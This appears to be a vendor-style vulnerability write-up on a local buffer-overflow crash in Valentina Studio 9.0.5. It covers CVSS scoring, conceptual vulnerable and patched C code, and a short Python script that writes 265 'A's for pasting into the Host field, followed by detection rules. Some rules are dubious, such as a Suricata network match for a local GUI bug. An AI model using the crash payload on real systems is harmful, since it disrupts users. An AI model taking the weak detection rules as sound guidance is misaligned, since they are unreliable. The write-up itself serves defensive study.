CVE-2019-25567

Executive Summary

CVE-2019-25567 is a local buffer overflow vulnerability in Valentina Studio 9.0.5 for Linux. The flaw resides in the Host field of the connection dialog, where an attacker can paste an oversized input string exceeding 264 bytes. This causes a buffer overflow, leading to a denial of service (application crash). The vulnerability is classified as a local attack vector, requiring the attacker to have access to the system and interact with the GUI. No patch has been confirmed by the vendor, and the EPSS score is 0.0%, indicating very low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – The exploit does not require user interaction beyond the attacker's own actions.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – The application crashes, causing a denial of service.

Threat Level: Medium. The vulnerability is local and only causes a denial of service, but it can be used to disrupt database administration workflows.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Host field of the connection dialog. When a user attempts to connect to a server, the application copies the hostname string into a fixed-size buffer (likely 256 bytes) without proper bounds checking. By supplying a string longer than 264 bytes, the attacker overwrites adjacent memory on the stack, including the return address and other critical data. This leads to a segmentation fault and application crash.

Root Cause: The application uses a function like strcpy() or sprintf() without validating the length of the input. The Host field is not sanitized before being processed.

Attack Flow:

1. Attacker launches Valentina Studio on a Linux system.
2. Attacker opens the connection dialog.
3. Attacker pastes a crafted string of 265+ bytes into the Host field.
4. Attacker clicks "Connect" or presses Enter.
5. The application copies the oversized string into a fixed buffer, causing a stack overflow.
6. The application crashes, resulting in a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void connect_to_server(char *host) {
    char buffer[256];
    strcpy(buffer, host); // No bounds checking
    // ... connection logic
}

Patched Code (Conceptual):

void connect_to_server(char *host) {
    char buffer[256];
    strncpy(buffer, host, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... connection logic
}

The patched version uses strncpy() with a size limit and ensures null-termination. However, no official patch has been released by Valentina-Db.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• OS: Ubuntu 20.04 LTS (or any Linux distribution)
• Software: Valentina Studio 9.0.5 for Linux
• Tools: Python3, GDB (for debugging)

Exploit Script (Python):

#!/usr/bin/env python3
import subprocess
import time

# Craft payload: 265 bytes of 'A' to trigger overflow
payload = b"A" * 265

# Write payload to a file for easy pasting
with open("payload.txt", "wb") as f:
    f.write(payload)

print("[*] Payload written to payload.txt")
print("[*] Open Valentina Studio, go to connection dialog, paste the content of payload.txt into the Host field, and click Connect.")

Execution Steps:

1. Run the Python script to generate payload.txt.
2. Open Valentina Studio.
3. Click "New Connection" or open the connection dialog.
4. Paste the content of payload.txt into the Host field.
5. Click "Connect" or press Enter.
6. The application will crash immediately.

Expected Output:

• Application window disappears.
• Terminal shows: Segmentation fault (core dumped) if run from terminal.

Blue Team (Detection & Prevention)

Detection:

• Monitor for repeated crashes of Valentina Studio.
• Use process monitoring to detect abnormal termination signals (SIGSEGV).
• Check for large input strings in the Host field via application logs (if available).

Prevention:

• Restrict local user permissions to prevent untrusted users from running Valentina Studio.
• Use application whitelisting to block execution of vulnerable versions.
• Apply input validation at the network level if the application is used in a shared environment.

Indicators of Compromise (IOCs)

• File: payload.txt (or any file containing 265+ bytes of data)
• Process: valentina-studio crashes with SIGSEGV
• Log Entry: Application crash logs showing Segmentation fault or buffer overflow
• Memory: Stack corruption in the connect_to_server function

Detection Engineering

YARA Rule

rule CVE_2019_25567_Valentina_Studio_BOF {
    meta:
        description = "Detects Valentina Studio buffer overflow exploit payloads"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25567"
    strings:
        $payload = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 'A's
        $crash = "Segmentation fault" nocase
    condition:
        $payload and #payload >= 16 or $crash
}

Sigma Rule

title: Valentina Studio Buffer Overflow Crash
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Valentina Studio crashes caused by buffer overflow in Host field
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/valentina-studio'
        ExitCode: 139  # SIGSEGV
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25567 Valentina Studio Buffer Overflow Attempt"; flow:to_server; content:"|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41|"; threshold:type both, track by_src, count 1, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Workaround: Avoid using the Host field for manual input; use pre-configured connection files.
3. Restrict Access: Limit local user accounts that can run Valentina Studio.
4. Input Validation: If you have source access, implement input length checks.

Long-Term Fix:

• The vendor should release a patch that uses safe string functions (e.g., strncpy, snprintf) and validates input length.

Monitoring:

• Enable application crash dumps for forensic analysis.
• Monitor for unusual process terminations.

Valters IT
Securing Digital Frontiers